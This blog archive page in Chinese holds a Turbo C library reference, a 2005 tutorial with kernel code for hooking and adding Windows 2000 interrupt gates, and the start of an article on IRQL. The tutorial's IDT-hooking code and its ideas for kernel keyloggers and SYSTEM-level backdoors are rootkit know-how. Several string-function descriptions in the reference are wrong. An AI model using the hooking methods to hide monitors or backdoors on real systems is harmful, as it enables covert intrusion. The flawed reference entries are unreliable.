│byte值│意义 │byte值│意义 │byte值│意义 │ │
├───┼─────┼───┼─────┼───┼─────┤
│0x02 │7数据位 │0x03 │8数据位 │0x00 │1停止位 │ │
│0x04 │2停止位 │0x00 │无奇偶性 │0x08 │奇数奇偶性│ │
│0x18 │偶数奇偶性│0x00 │110波特 │0x20 │150波特 │ │
│0x40 │300波特 │0x60 │600波特 │0x80 │1200波特 │ │
│0xA0 │2400波特 │0xC0 │4800波特 │0xE0 │9600波特 │ │
└───┴─────┴───┴─────┴───┴─────┘
例如:0xE0|0x08|0x00|0x03即表示置通讯口为9600波特,奇数奇偶性,1停止位,
8数据位.
函数返回值为一个16位整数,定义如下:
第15位 超时
第14位 传送移位寄存器空
第13位 传送固定寄存器空
第12位 中断检测
第11位 帧错误
第10位 奇偶错误
第 9位 过载运行错误
第 8位 数据就绪
第 7位 接收线信号检测
第 6位 环形指示器
第 5位 数据设置就绪
第 4位 清除发送
第 3位 δ接收线信号检测器
第 2位 下降边环形检测器
第 1位 δ数据设置就绪
第 0位 δ清除发送

int biosdisk(int cmd,int drive,int head,int track,
int sector,int nsects,void *buffer)
本函数用来对驱动器作一定的操作,cmd为功能号,
drive为驱动器号(0=A,1=B,0x80=C,0x81=D,0x82=E等).cmd可为以下值:
0 重置软磁盘系统.这强迫驱动器控制器来执行硬复位.忽略所有其它参数.
1 返回最后的硬盘操作状态.忽略所有其它参数
2 读一个或多个磁盘扇区到内存.读开始的扇区由head、track、sector给出。
扇区号由nsects给出。把每个扇区512个字节的数据读入buffer
3 从内存读数据写到一个或多个扇区。写开始的扇区由head、track、sector
给出。扇区号由nsects给出。所写数据在buffer中,每扇区512个字节。
4 检验一个或多个扇区。开始扇区由head、track、sector给出。扇区号由
nsects给出。
5 格式化一个磁道,该磁道由head和track给出。buffer指向写在指定track上
的扇区磁头器的一个表。
以下cmd值只允许用于XT或AT微机:
6 格式化一个磁道,并置坏扇区标志。
7 格式化指定磁道上的驱动器开头。
8 返回当前驱动器参数,驱动器信息返回写在buffer中(以四个字节表示)。
9 初始化一对驱动器特性。
10 执行一个长的读,每个扇区读512加4个额外字节
11 执行一个长的写,每个扇区写512加4个额外字节
12 执行一个磁盘查找
13 交替磁盘复位
14 读扇区缓冲区
15 写扇区缓冲区
16 检查指定的驱动器是否就绪
17 复核驱动器
18 控制器RAM诊断
19 驱动器诊断
20 控制器内部诊
函数返回由下列位组合成的状态字节:
0x00 操作成功
0x01 坏的命令
0x02 地址标记找不到
0x04 记录找不到
0x05 重置失败
0x07 驱动参数活动失败
0x09 企图DMA经过64K界限
0x0B 检查坏的磁盘标记
0x10 坏的ECC在磁盘上读
0x11 ECC校正的数据错误(注意它不是错误)
0x20 控制器失效
0x40 查找失败
0x80 响应的连接失败
0xBB 出现无定义错误
0xFF 读出操作失败

int biodquip() 检查设备,函数返回一字节,该字节每一位表示一个信息,如下:
第15位 打印机号
第14位 打印机号
第13位 未使用
第12位 连接游戏I/O
第11位 RS232端口号
第 8位 未使用
第 7位 软磁盘号
第 6位 软磁盘号,
00为1号驱动器,01为2号驱动器,10为3号驱动器,11为4号驱动器
第 5位 初始化
第 4位 显示器模式
00为未使用,01为40x25BW彩色显示卡
10为80x25BW彩色显示卡,11为80x25BW单色显示卡
第 3位 母扦件
第 2位 随机存贮器容量,00为16K,01为32K,10为48K,11为64K
第 1位 浮点共用处理器
第 0位 从软磁盘引导

int bioskey(int cmd)本函数用来执行各种键盘操作,由cmd确定操作。
cmd可为以下值:
0 返回敲键盘上的下一个键。若低8位为非0,即为ASCII字符;若低8位为0,
则返回扩充了的键盘代码。
1 测试键盘是否可用于读。返回0表示没有键可用;否则返回下一次敲键之值。
敲键本身一直保持由下次调用具的cmd值为0的bioskey所返回的值。
2 返回当前的键盘状态,由返回整数的每一个位表示,见下表:
┌──┬───────────┬───────────┐
│ 位 │为0时意义 │为1时意义 │
├──┼───────────┼───────────┤
│ 7 │插入状态 │改写状态 │
│ 6 │大写状态 │小写状态 │
│ 5 │数字状态,NumLock灯亮 │光标状态,NumLock灯熄 │
│ 4 │ScrollLock灯亮 │ScrollLock灯熄 │
│ 3 │Alt按下 │Alt未按下 │
│ 2 │Ctrl按下 │Ctrl未按下 │
│ 1 │左Shift按下 │左Shift未按下 │
│ 0 │右Shift按下 │右Shift未按下 │
└──┴───────────┴───────────┘
int biosmemory()返回内存大小,以K为单位.
int biosprint(int cmd,int byte,int port)控制打印机的输入/输出.
port为打印机号,0为LPT1,1为LPT2,2为LPT3等
cmd可以为以下值:
0 打印字符,将字符byte送到打印机
1 打印机端口初始化
2 读打印机状态
函数返回值由以下位值组成表示当前打印机状态
0x01 设备时间超时
0x08 输入/输出错误
0x10 选择的
0x20 走纸
0x40 认可
0x80 不忙碌

int biostime(int cmd,long newtime)计时器控制,cmd为功能号,可为以下值
0 函数返回计时器的当前值
1 将计时器设为新值newtime

struct country *country(int countrycmode,struct country *countryp)
本函数用来控制某一国家的相关信息,如日期,时间,货币等.
若countryp=-1时,当前的国家置为countrycode值(必须为非0).否则,由countryp
所指向的country结构用下列的国家相关信息填充:
(1)当前的国家(若countrycode为0或2)由countrycode所给定的国家.
结构country定义如下:
┌────────────────────┐
│struct country │
│{ │
│ int co_date; /*日期格式*/ │
│ char co_curr[5]; /*货币符号*/ │
│ char co_thsep[2]; /*数字分隔符*/ │
│ char co_desep[2]; /*小数点*/ │
│ char co_dtsep[2]; /*日期分隔符*/ │
│ char co_tmsep[2]; /*时间分隔符*/ │
│ char co_currstyle; /*货币形式*/ │
│ char co_digits; /*有效数字*/ │
│ int (far *co_case)(); /*事件处理函数*/ │
│ char co_dasep; /*数据分隔符*/ │
│ char co_fill[10]; /*补充字符*/ │
│} │
└────────────────────┘
co_date的值所代表的日期格式是:
0 月日年 1 日月年 2 年月日
co_currstrle的值所代表的货币显示方式是
0 货币符号在数值前,中间无空格
1 货币符号在数值后,中间无空格
2 货币符号在数值前,中间有空格
3 货币符号在数值后,中间有空格

操作函数,所在函数库为string.h、mem.h
mem…操作存贮数组
void *memccpy(void *destin,void *source,unsigned char ch,unsigned n)
void *memchr(void *s,char ch,unsigned n)
void *memcmp(void *s1,void *s2,unsigned n)
int memicmp(void *s1,void *s2,unsigned n)
void *memmove(void *destin,void *source,unsigned n)
void *memcpy(void *destin,void *source,unsigned n)
void *memset(void *s,char ch,unsigned n)
这些函数,mem…系列的所有成员均操作存贮数组.在所有这些函数中,数组是n字节长.
memcpy从source复制一个n字节的块到destin.如果源块和目标块重迭,则选择复制方向,
以例正确地复制覆盖的字节.
memmove与memcpy相同.
memset将s的所有字节置于字节ch中.s数组的长度由n给出.
memcmp比较正好是n字节长的两个字符串s1和s2.些函数按无符号字符比较字节,因此,
memcmp("0xFF","\x7F",1)返回值大于0.
memicmp比较s1和s2的前n个字节,不管字符大写或小写.
memccpy从source复制字节到destin.复制一结束就发生下列任一情况:
(1)字符ch首选复制到destin.
(2)n个字节已复制到destin.
memchr对字符ch检索s数组的前n个字节.
返回值:memmove和memcpy返回destin
memset返回s的值
memcmp和memicmp─┬─若s1<s2返回值小于0
├─若s1=s2返回值等于0
└─若s1>s2返回值大于0
memccpy若复制了ch,则返回直接跟随ch的在destin中的字节的一个指针;
否则返回NULL
memchr返回在s中首先出现ch的一个指针;如果在s数组中不出现ch,就返回NULL.

void movedata(int segsrc,int offsrc,
int segdest,int offdest,
unsigned numbytes)
本函数将源地址(segsrc:offsrc)处的numbytes个字节
复制到目标地址(segdest:offdest)
void movemem(void *source,void *destin,unsigned len)
本函数从source处复制一块长len字节的数据到destin.若源地址和目标地址字符串
重迭,则选择复制方向,以便正确的复制数据.
void setmem(void *addr,int len,char value)
本函数把addr所指的块的第一个字节置于字节value中.

str…字符串操作函数
char stpcpy(char *dest,const char *src)
将字符串src复制到dest
char strcat(char *dest,const char *src)
将字符串src添加到dest末尾
char strchr(const char *s,int c)
检索并返回字符c在字符串s中第一次出现的位置
int strcmp(const char *s1,const char *s2)
比较字符串s1与s2的大小,并返回s1-s2
char strcpy(char *dest,const char *src)
将字符串src复制到dest
size_t strcspn(const char *s1,const char *s2)
扫描s1,返回在s1中有,在s2中也有的字符个数
char strdup(const char *s)
将字符串s复制到最近建立的单元
int stricmp(const char *s1,const char *s2)
比较字符串s1和s2,并返回s1-s2
size_t strlen(const char *s)
返回字符串s的长度
char strlwr(char *s)
将字符串s中的大写字母全部转换成小写字母,并返回转换后的字符串
char strncat(char *dest,const char *src,size_t maxlen)
将字符串src中最多maxlen个字符复制到字符串dest中
int strncmp(const char *s1,const char *s2,size_t maxlen)
比较字符串s1与s2中的前maxlen个字符
char strncpy(char *dest,const char *src,size_t maxlen)
复制src中的前maxlen个字符到dest中
int strnicmp(const char *s1,const char *s2,size_t maxlen)
比较字符串s1与s2中的前maxlen个字符
char strnset(char *s,int ch,size_t n)
将字符串s的前n个字符置于ch中
char strpbrk(const char *s1,const char *s2)
扫描字符串s1,并返回在s1和s2中均有的字符个数
char strrchr(const char *s,int c)
扫描最后出现一个给定字符c的一个字符串s
char strrev(char *s)
将字符串s中的字符全部颠倒顺序重新排列,并返回排列后的字符串
char strset(char *s,int ch)
将一个字符串s中的所有字符置于一个给定的字符ch
size_t strspn(const char *s1,const char *s2)
扫描字符串s1,并返回在s1和s2中均有的字符个数
char strstr(const char *s1,const char *s2)
扫描字符串s2,并返回第一次出现s1的位置
char strtok(char *s1,const char *s2)
检索字符串s1,该字符串s1是由字符串s2中定义的定界符所分隔
char strupr(char *s)
将字符串s中的小写字母全部转换成大写字母,并返回转换后的字符串

存贮分配子程序,所在函数库为dos.h、alloc.h、malloc.h、stdlib.h、process.h
int allocmem(unsigned size,unsigned *seg)利用DOS分配空闲的内存,
size为分配内存大小,seg为分配后的内存指针
int freemem(unsigned seg)释放先前由allocmem分配的内存,seg为指定的内存指针
int setblock(int seg,int newsize)本函数用来修改所分配的内存长度,
seg为已分配内存的内存指针,newsize为新的长度

int brk(void *endds)
本函数用来改变分配给调用程序的数据段的空间数量,新的空间结束地址为endds
char *sbrk(int incr)
本函数用来增加分配给调用程序的数据段的空间数量,增加incr个字节的空间

unsigned long coreleft() 本函数返回未用的存储区的长度,以字节为单位
void *calloc(unsigned nelem,unsigned elsize)分配nelem个长度为elsize的内存空间
并返回所分配内存的指针
void *malloc(unsigned size)分配size个字节的内存空间,并返回所分配内存的指针
void free(void *ptr)释放先前所分配的内存,所要释放的内存的指针为ptr
void *realloc(void *ptr,unsigned newsize)改变已分配内存的大小,ptr为已分配有内
存区域的指针,newsize为新的长度,返回分配好的内存指针.

long farcoreleft() 本函数返回远堆中未用的存储区的长度,以字节为单位
void far *farcalloc(unsigned long units,unsigned long unitsz)
从远堆分配units个长度为unitsz的内存空间,并返回所分配内存的指针
void *farmalloc(unsigned long size)分配size个字节的内存空间,
并返回分配的内存指针
void farfree(void far *block)释放先前从远堆分配的内存空间,
所要释放的远堆内存的指针为block
void far *farrealloc(void far *block,unsigned long newsize)改变已分配的远堆内
存的大小,block为已分配有内存区域的指针,newzie为新的长度,返回分配好
的内存指针

时间日期函数,函数库为time.h、dos.h
在时间日期函数里,主要用到的结构有以下几个:
总时间日期贮存结构tm
┌──────────────────────┐
│struct tm │
│{ │
│ int tm_sec; /*秒,0-59*/ │
│ int tm_min; /*分,0-59*/ │
│ int tm_hour; /*时,0-23*/ │
│ int tm_mday; /*天数,1-31*/ │
│ int tm_mon; /*月数,0-11*/ │
│ int tm_year; /*自1900的年数*/ │
│ int tm_wday; /*自星期日的天数0-6*/ │
│ int tm_yday; /*自1月1日起的天数,0-365*/ │
│ int tm_isdst; /*是否采用夏时制,采用为正数*/│
│} │
└──────────────────────┘
日期贮存结构date
┌───────────────┐
│struct date │
│{ │
│ int da_year; /*自1900的年数*/│
│ char da_day; /*天数*/ │
│ char da_mon; /*月数 1=Jan*/ │
│} │
└───────────────┘
时间贮存结构time
┌────────────────┐
│struct time │
│{ │
│ unsigned char ti_min; /*分钟*/│
│ unsigned char ti_hour; /*小时*/│
│ unsigned char ti_hund; │
│ unsigned char ti_sec; /*秒*/ │
│ │
└────────────────┘
char *ctime(long *clock)
本函数把clock所指的时间(如由函数time返回的时间)转换成下列格式的
字符串:Mon Nov 21 11:31:54 1983\n\0
char *asctime(struct tm *tm)
本函数把指定的tm结构类的时间转换成下列格式的字符串:
Mon Nov 21 11:31:54 1983\n\0
double difftime(time_t time2,time_t time1)
计算结构time2和time1之间的时间差距(以秒为单位)
struct tm *gmtime(long *clock)本函数把clock所指的时间(如由函数time返回的时间)
转换成格林威治时间,并以tm结构形式返回
struct tm *localtime(long *clock)本函数把clock所指的时间(如函数time返回的时间)
转换成当地标准时间,并以tm结构形式返回
void tzset()本函数提供了对UNIX操作系统的兼容性
long dostounix(struct date *dateptr,struct time *timeptr)
本函数将dateptr所指的日期,timeptr所指的时间转换成UNIX格式,并返回
自格林威治时间1970年1月1日凌晨起到现在的秒数
void unixtodos(long utime,struct date *dateptr,struct time *timeptr)
本函数将自格林威治时间1970年1月1日凌晨起到现在的秒数utime转换成
DOS格式并保存于用户所指的结构dateptr和timeptr中
void getdate(struct date *dateblk)本函数将计算机内的日期写入结构dateblk
中以供用户使用
void setdate(struct date *dateblk)本函数将计算机内的日期改成
由结构dateblk所指定的日期
void gettime(struct time *timep)本函数将计算机内的时间写入结构timep中,
以供用户使用
void settime(struct time *timep)本函数将计算机内的时间改为
由结构timep所指的时间
long time(long *tloc)本函数给出自格林威治时间1970年1月1日凌晨至现在所经
过的秒数,并将该值存于tloc所指的单元中.
int stime(long *tp)本函数将tp所指的时间(例如由time所返回的时间)
写入计算机中.

2005年02月06日

今天我们谈谈Windows
2000下中断机制的扩展,首先申明本文提到的技术并非本人发现的,只不过是我在学习Windows内核过程中的一点心得罢了,目的在于为和我一样刚刚步入Windows底层学习的朋友提供一点实用的资料,同时也顺带记录下自己的学习过程。如果您是Windows
Kernel高手,还望有时间能多多指点一下我们这些晚辈;如果您也是初学者,同样欢迎到我们FZ5FZ网站来交流探讨!那好吧,我们就直接进入正题,如果您对中断还不怎么了解,那眼前将是一次激动人心的旅程。

1> Windows陷阱机制简介

陷阱(Trap)是Windows系统中一种不可缺少的系统机制。当系统中发生中断(硬件中断或软件中断),异常时,处理器会捕捉这个动作,并将系统的控制转移到一个固定的处理程序处,进行相应的操作处理。在处理器开始处理发生的中断或异常前,必须保存一些处理器环境参数到堆栈中以备系统还原时使用。系统是通过一种称为陷阱帧(Trap
Frame)的方式来实现的,它将系统中全部线程的环境数据保存到内核堆栈(Kernel
Stack)中,在执行完后通过堆栈的出栈机制来恢复系统控制流程中的执行点。内核中的陷阱机制分为中断和异常。中断是系统中随即发生的异步事件,与当前系统的处理器状态无关。同时系统中的中断可分为可屏蔽中断和不可屏蔽中断。而异常则是一种同步事件,在特定情况下异常可以重现,而中断不可以。中断又可以分为硬件中断和软件中断。很明显硬件中断是与硬件相关的,比如I/O设备执行的某些操作,处理器时钟或硬件端口上的处理等。软件中断则是通过中断指令int
xx引入的,它往往是应用程序在用户模式执行后进入操作系统的代码,这时系统为用户提供了各种各样的系统服务。比如我们上次提到的系统服务调用(System
Service Call),在Windows NT/2000下就是通过软件中断int 0×2e(System Service
Interrupt)来实现的,虽然在Windows
XP/2003下微软使用了一种称为“快速系统调用接口”来为用户提供系统服务,不过大量的中断服务仍然存在与系统之中的。

2> 中断处理及其相关流程

此处我们讨论的是与特定处理器相关的数据结构,所以会有一些移植方面的问题,本文仅针对Intel的x86
Family处理器,并且本文附带的程序也只支持在Intel x86处理器上正常执行。何为IDT?IDT(Interrupt Descriptor
Table)称为中断描述符表。它是可容纳8192个单元的数组,数组中的每个成员是称之为“门”的长度为8字节的段描述符。在IDT中门可分为三种:中断门(Interrrupt
Gate),陷阱门(Trap Gate)和任务门(Task
Gate),但主要的是中断门和陷阱门。而它们两者之间也只有少许差别,我们在此只关心IDT中的中断门,如果您对这方面比较感兴趣,请查阅Intel处理器的相关文档《Intel
Architecture Software Developer’s Manual,Volume
3》。同时,在系统中存在一个中断描述符表寄存器(IDTR),它包含了系统中断描述符表的基地址和IDT的限制信息,它于一条汇编指令sidt息息相关。在下文中我们将看到它是我们实现各种中断描述符表扩展的基础和关键!还有一点是需要注意的,在Windows系统中引入了分页,分段和虚拟存储机制后,就存在这一种调度机制,将需要执行的代码和数据调入内存,将不需要的数据调到外存(辅助存储器,如硬盘等)。如果我们在执行某些代码时发现了我们需要的数据不在内存中时,就会发出一个“缺页中断”,这时系统就会在IDT中搜寻这个中断的ISR(Interrupt
Service
Routine,中断服务例程),执行相应的调入工作。大家可以想象如果我们的中断描述符表被调出到外存后会是什么样的结果?那时系统将无法定位“缺页中断”的服务例程,至此系统将会崩溃掉!

在中断描述符表中,我们刚才提到了一个感兴趣的寄存器IDTR,当然我们更关心对我们来说更直接的数据:IDT中的代码段选择器(Code Segment
Selector),中断执行代码的偏移量(Offset)和中断描述符的权限等级(Descriptor Privilege
Level)参数。下面我们看看中断指令的执行流程,我们应该知道应用程序执行在用户模式(Ring 3)下,而中断描述符表则是存在于内核模式(Ring
0)才可以访问的系统地址空间内的。在软件中断发生后,也就是应用程序调用了某条软件中断指令后,处理器首先在IDT中检索传入的中断号参数,找到响应的入口单元后就检查中断门的权限等级参数,看是否允许Ring
3下的应用程序调用,这样操作系统就为我们保留了对软件中断调用控制的权力,然而硬件中断和异常是不会关注权限方面的信息。如果当前权限等级(Current
Privilge Level,CPL)数值大于中断门描述符需要的权限(Descriptor Privilege
Level),也就是权限不够时会引发一个通用保护故障(General Protection
Fault),反之则进行处理器的切换从用户堆栈到内核堆栈。现在是保存线程环境的时候了,处理器将在用户模式下的堆栈指针(SS:ESP)和标准的中断帧(EFLAGS和CS:EIP)压入堆栈。之后处理器进入我们的中断服务例程,执行相关的代码处理后通过汇编指令iretd返回到调用的应用程序。在指令iretd执行时,系统将存储在堆栈中的线程环境数据出栈还原,待系统恢复中断指令执行前的环境后就接着执行应用程序的后续代码。

3> 中断相关数据结构

首先我们介绍一下前面我们提到的一条关键汇编指令sidt的相关数据结构。在执行指令sidt后,系统将会把中断描述符表的基地址和限制(总共长六字节)保存在指令中指向的变量指针中,这就是我们进行IDT操作的入门口。

typedef struct _idtr
{
//定义中断描述符表的限制,长度两字节;
short IDTLimit;

//定义中断描述服表的基址,长度四字节;
unsigned int IDTBase;
}IDTR,*PIDTR;

当我们获得了IDT的入口后,就会在中断描述符表中检索我们需要处理的中断号对应的IDT单元,单元中包含了很多我们需要注意的数据结构,其中我们最为关心的是代码段选择器,中断代码执行的偏移量和特权等级等,那好我们先给出它的定义,在下文中我们将详细讨论它们的具体应用。

typedef struct _idtentry
{
//中断执行代码偏移量的底16位;
unsigned short
OffsetLow;
//选择器,也就是寄存器;
unsigned short Selector;
//保留位,始终为零;

unsigned char Reserved;
//IDT中的门的类型:包括中断门,陷阱门和任务门;
unsigned char
Type:4;
//段标识位;
unsigned char SegmentFlag:1;

//中断门的权限等级,0表示内核级,3表示用户级;
unsigned char DPL:2;
//呈现标志位;
unsigned
char Present:1;
//中断执行代码偏移量的高16位;
unsigned short OffsetHigh;

}IDTENTRY,*PIDTENTRY;

4> 创建软件中断钩子的作用

作为普通的Windows程序员,或许您需要的是熟悉对系统基本功能的操作,以及对通用程序开发的熟练掌握。但对于一个有想法的Windows内核级分析开发人员来说,对系统底层的深入了解是非常必要的,同时也是非常重要的。Hook为我们创造了一个绝好的机会,它使我们了解系统内部运行机制的想法成为了一种可能。同时,书写一个系统相关的监视程序可以自动的对系统内部操作进行记录与分析。当然我们不能局限于对系统的了解,我们更渴望实施对系统的修改与扩展,改变系统原有的操作特性,注入我们需要的功能组件,让系统做更适合我们自己,也是我们最希望看到的操作。前面我们曾经谈到了创建系统服务调用的钩子来截获系统服务调用,同样在Windows2000下,系统服务是通过系统服务中断(System
Service Interrupt,int
0×2e)来实现的,通过截获软件中断同样可以达到监视并修改系统服务调用的功能。在此我们主要讨论的是为软件中断创建钩子,不过对于硬件中断和异常也同样不例外,我们同样可以将本文提到的方法应用于硬件中断和异常。比如我们也可以通过截获键盘驱动的中断调用来书写内核级的键盘记录器,它可以直接对每次击键和释放进行操作,效果是非常的明显,不过这还需要使用到一些微软为我们提供的与硬件中断钩子相关的函数。

5> 如何创建软件中断钩子?

其实创建软件中断钩子的过程应该是比较明显了,下面我们将先简要介绍一下创建Hook的过程,然后以实际代码进行具体的讲解。首先我们通过汇编指令sidt(sidt:
Store Interrupt Descriptor Table Register;lidt: Load Interrupt Descriptor Table
Register)来获取IDT的基地址IDTBase,然后我们在中断描述符表中搜寻我们需要HOOK的中断号HOOKINTID,它应该是在0-255内的一个整数,虽然最新的Intel处理器声称支持8192个中断描述符单元,但由于某些限制原因,仍然只能处理前256个中断描述门。在找到我们需要Hook的中断描述门后,将它原本的中断执行代码偏移量(32位)保存到一个全局变量OldISR中,以备我们在执行中断处理或恢复IDT时使用。这样新的IDT中对应中断号的执行代码偏移量就指向了我们自己的处理代码了。在我们的处理代码NewISR中,注意先要保存一些线程环境,在处理完我们额外添加的执行程序(Monitor,监视注册表相关的16个系统服务调用)后,恢复现场并执行中断门以前指向的程序代码。这样,对外就看不出我们对中断门做了什么额外的处理,感觉和以前没什么两样!如果我们只是处理了我们添加的代码而没有继续执行中断门对应的以前的程序代码,那么系统必将混乱甚至崩溃!同样在我们卸载我们的软件中断钩子时,就是进行了一个逆向工作。先获取IDT的基地址,然后将保存在全局变量中的旧的执行代码地址偏移量赋给对应中断号的偏移量单元(OffsetLow/OffsetHigh)。大概过程讲得差不多了,相关程序为T-HookInt,我们再看看代码吧!

VOID
HookInt(VOID)
{
//保存IDT入口的基地址和限制信息的数据结构;
IDTR idtr;

//记录IDT数组的指针,通过它可以查找到我们需要Hook中断号对应的中断门;
PIDTENTRY IdtEntry;

//汇编指令sidt,获取IDT入口信息;
__asm sidt idtr;

//赋予IDT基地址值;
IdtEntry = (PIDTENTRY)idtr.IDTBase;

//保存中断号HOOKINTID对应中断门所指向的执行代码偏移量,以备执行中断处理或恢复时使用;
OldISR = ((unsigned
int)IdtEntry[HOOKINTID].OffsetHigh << 16) |
(IdtEntry[HOOKINTID].OffsetLow);

//关中断
__asm cli
//更新执行代码偏移量的底16位;
IdtEntry[HOOKINTID].OffsetLow =
(unsigned short)NewISR;
//更新执行代码偏移量的高16位;
IdtEntry[HOOKINTID].OffsetHigh
= (unsigned short)((unsigned int)NewISR >> 16);
//开中断
__asm sti;

}

VOID
UnhookInt(VOID)
{
IDTR idtr;
PIDTENTRY IdtEntry;

__asm sidt idtr;
IdtEntry = (PIDTENTRY)idtr.IDTBase;

__asm cli
//恢复中断号HOOKINTID对应中断门执行代码偏移量的底16位;

IdtEntry[HOOKINTID].OffsetLow = (unsigned short)OldISR;

//恢复中断号HOOKINTID对应中断门执行代码偏移量的高16位;
IdtEntry[HOOKINTID].OffsetHigh =
(unsigned short)((unsigned int)OldISR >> 16);
__asm sti;

}

VOID
__fastcall
Monitor()
{
……
//由于我们处理的中断号为0×2e,

//对应于系统服务中断(System Service Interrupt),
//通过获取eax寄存器中的数值来区分系统服务调用;

__asm mov dwServiceId,eax;

//执行内核函数获取当前进程的ID号;
dwProcessId = (unsigned int)PsGetCurrentProcessId();


//提升当前IRQL,防止被中断;
KeRaiseIrql(HIGH_LEVEL,&OldIrql);

switch(dwServiceId)
{
//如果eax对应的数值为0×23,

//则对应于Windows2000的ZwCreateKey系统服务调用;
case 0×23:
DbgPrint(“ProcessId:
%d ZwCreateKey\n”,dwProcessId);
break;
……
default:
break;
}

//恢复原始IRQL;
KeLowerIrql(OldIrql);
}

6> 添加软件中断的作用与原理

通过添加软件中断,我们可以扩展系统的功能,改变系统的很多操作行为。在前面我们介绍过为系统添加新的系统服务调用来扩展系统,通过添加新的软件中断同样可以到达添加系统服务调用的目的,并且我们可以在新添的中断处理程序中执行Ring
0级别的任意代码,那是何等的让人欣慰!

其实在IDT中,256个中断门单元并不是被完全利用的,还剩下一些流给将来扩展使用的中断门,我们可以自己给这些未使用的中断门添加一些机制为我所用。其实添加软件中断的过程和前面我们详细讲解的添加软件中断钩子有很多相似的地方,所以在此我就不做很详细的介绍了。同样是,首先获得IDT的基地址,然后在中断描述符表中查找我们将要添加的中断号对应的中断门描述符,之后给相关的参数赋值,使其成为名副其实的软件中断门。这时我们就可以在应用程序中使用中断指令int
xx来调用我们自己中断门中的服务程序了。

7> 添加软件中断的实现过程

相关程序为T-ADDIG(Add Interrupt Gate),我们来看看代码哈~

NTSTATUS
InstallIG()
{
……

//判断我们想要添加的中断是否已被占用;
if(IdtEntry[ADDINTID].OffsetLow != 0
||
IdtEntry[ADDINTID].OffsetHigh != 0)
{
return STATUS_UNSUCCESSFUL;
}

//复制原始的中断门描述信息;

RtlCopyMemory(&OldIdtEntry,&IdtEntry[ADDINTID],sizeof(OldIdtEntry));

//关中断
__asm cli

//更新执行代码偏移量的底16位;

IdtEntry[ADDINTID].OffsetLow = (unsigned short)InterruptServiceRoutine;

//目的代码段的段选择器,CS为8;
IdtEntry[ADDINTID].Selector = 8;
//保留位,始终为零;

IdtEntry[ADDINTID].Reserved = 0;
//门类型,0xe代表中断门;

IdtEntry[ADDINTID].Type = 0xe;
//SegmentFlag设置0代码为段;

IdtEntry[ADDINTID].SegmentFlag = 0;
//描述符权限等级为3,允许用户模式程序调用本中断;

IdtEntry[ADDINTID].DPL = 3;
//呈现标志位,设置为一;
IdtEntry[ADDINTID].Present
= 1;
//更新执行代码偏移量的高16位;
IdtEntry[ADDINTID].OffsetHigh = (unsigned
short)((unsigned int)InterruptServiceRoutine >> 16);

//开中断
__asm sti

return STATUS_SUCCESS;
}

VOID
RemoveIG()
{
……
__asm cli
//恢复我们修改过的中断门描述符;

RtlCopyMemory(&IdtEntry[ADDINTID],&OldIdtEntry,sizeof(OldIdtEntry));

__asm sti
}

extern
void
_cdecl
InterruptServiceRoutine(VOID)
{

unsigned int Command;
//获取eax寄存器中的数值,接受从用户模式传入的命令参数;
__asm mov
Command,eax;
//执行内核代码,获取操作系统版本号;
DbgPrint(“NtBuildNumber ==
%d\n”,(unsigned short)NtBuildNumber);
//中断返回;
__asm iretd;
}

后记

写到这儿,我们只是介绍了扩展IDT的一些基本方法,当然还有很多更深入的,更值得我们研究的课题需要大家努力去探索。比如我们可以将T-HookInt扩展,不仅仅是监视系统注册表操作相关的系统服务调用,不过在Windows
XP/2003上由于其内在机制的一些变更,所以通过Hook int
0×2e来截获系统服务调用就不这么现实了。当然还有基于IDT的内核级后门,可以通过添加新的软件中断为任意用户提供SYSTEM权限级别的Command等。总之,探究Windows内核奥秘的旅行还未结束,或许这只能算是一次起航罢了。

附录:

由于本文相关的源代码比较多,所以在此就不帖了,欢迎有兴趣的朋友到我们主页下载,谢谢~

2004年12月19日

从IRQ到IRQL(PIC版)
SoBeIt

这个题目让我想起了小时候学的课文《从百草园到三味书屋》,然后就想起了以前无忧无虑的快乐时光,这是上了大学以后所不再有的,有时常常叹息过去的美好日子不会再有了。sigh~扯远了。

本文所有的东西都不涉及APIC。先来介绍一下名词,免得有些哥们看晕了:)

PIC:Programmed Interrupt Controller,可编程中断控制器,是一块芯片,里面包含了中断请求寄存器、中断在服务寄存器、中断屏蔽寄存器等很多寄存器,用来控制中断。一般我们的电脑里都是用的8259A中断控制器芯片,共有两块,一主一从,每块负责8个中断请求信号线,主的负责IRQ0-IRQ7,从的负责IRQ8-IRQ15。
APIC:Advance Programmed Interrupt Controller,高级可编程中断控制器,用与多处理器,因为它支持100多个以上的中断向量,所以不是用固定映射的方法,而是通过一定算法映射。
IRQ:Interrupt ReQuest,中断请求,当中断发生后,发生中断的设备通过它使用的中断请求信号线象中断控制器报告中断。CPU可以通过IRQ号来识别中断。
IRQL:Interrupt ReQuest Level,中断请求优先级,一个由windows虚拟出来的概念,划分在windows下中断的优先级,这里中断包括了硬中断和软中断,硬中断是由硬件产生,而软中断则是完全虚拟出来的。
假中断:Spurious Interrupt,当中断发生时中断控制器相关在服务位并未置位。windows也把IRQL低于当前IRQL的中断当作假中断来处理。

写驱动的人一开始就会接触到IRQL这个概念,它实现了WINDOWS里的中断优先级制度,高优先级的中断总是可以优先被处理,而低优先级的中断则不得不等待高优先级中断被处理完后才得到处理。这就象一个特权社会的不同特权阶层,社会底层的人被迫服从于社会高层的人的安排。就象当IRQL=0X15时,所有IRQL低于0×15的中断发生时都不得不等待知道这个中断被处理完,IRQL降下来,然后下一个被处理的是IRQL低于0×15而高于其它所有等待的中断IRQL的中断。这种安排使中断处理有序化,重要的中断先于次重要的中断被处理。一个常规的IRQL如下:
31:高
30:掉点
29:处理器间中断
28:时钟
27:配置文件
26



3:设备中断(其实只用了16个)
2:DPC/调度
1:APC
0:无源

